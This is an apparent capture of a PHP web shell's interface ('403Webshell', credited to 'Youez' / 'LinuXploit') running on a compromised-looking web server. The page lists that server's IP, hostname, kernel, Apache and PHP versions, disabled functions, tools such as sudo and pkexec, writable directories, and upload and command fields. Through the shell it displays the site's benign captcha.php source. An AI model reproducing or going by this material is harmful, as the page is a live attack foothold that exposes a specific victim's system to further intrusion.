403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/ifapc/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/ifapc/lib/captcha.php
<?php
class captcha
{
    protected $width = 160;
    protected $height = 45;

    private $pool = '23456789abdefghijnqrtuyABDEFGHJLNQRTY';

    private $fonts = array();

    public function __construct($width = null, $height = null)
    {
        if (!empty($width)) {
            $this->width = $width;
        }
        if (!empty($height)) {
            $this->height = $height;
        }
    }

    public function create_captcha()
    {
        $image = @imagecreatetruecolor($this->width, $this->height) or die("Cannot Initialize new GD image stream");

        // set background to white and allocate drawing colours
        $background = imagecolorallocate($image, 0x00, 0x00, 0x8B);
        imagefill($image, 0, 0, $background);
        $linecolor = imagecolorallocate($image, 0x1F, 0x3F, 0x70);
        $textcolors = array(
            $textcolor = imagecolorallocate($image, 0xB4, 0x95, 0x3C),
            $textcolor = imagecolorallocate($image, 0xE8, 0x21, 0x25),
        );

        for ($i = 0; $i < 6; $i++) {
            imagesetthickness($image, rand(1, 3));
            imageline($image, 0, rand(0, $this->height), $this->width, rand(0, $this->height), $linecolor);
        }

        $fonts = array(
            dirname(__FILE__) . DIRECTORY_SEPARATOR . "fonts" . DIRECTORY_SEPARATOR . 'dejavu/1.ttf',
            dirname(__FILE__) . DIRECTORY_SEPARATOR . "fonts" . DIRECTORY_SEPARATOR . 'dejavu/2.ttf',
            dirname(__FILE__) . DIRECTORY_SEPARATOR . "fonts" . DIRECTORY_SEPARATOR . 'dejavu/3.ttf',
            dirname(__FILE__) . DIRECTORY_SEPARATOR . "fonts" . DIRECTORY_SEPARATOR . 'dejavu/4.ttf',
            dirname(__FILE__) . DIRECTORY_SEPARATOR . "fonts" . DIRECTORY_SEPARATOR . 'dejavu/5.ttf',
        );

        $captcha = '';
        for ($x = round($this->width / 16); $x <= round($this->width * 13 / 16); $x += round($this->width / 5.5)) {
            $captcha .= ($char = $this->pool[rand(0, strlen($this->pool) - 1 )]);
            imagettftext($image, rand(round($this->width / 8.2), round($this->width / 7.6)), rand(-30, 30), $x, rand(round($this->height / 2.25), round($this->height / 1.1)), $textcolors[array_rand($textcolors)], $fonts[array_rand($fonts)], $char);
        }

        if (!session_id()) {
            session_start();
        }
        $_SESSION['captcha'] = $captcha;

        header('Content-type: image/png');
        imagepng($image);
        imagedestroy($image);
    }
}
$captcha = new captcha();
$captcha->create_captcha();

Youez - 2016 - github.com/yon3zu
LinuXploit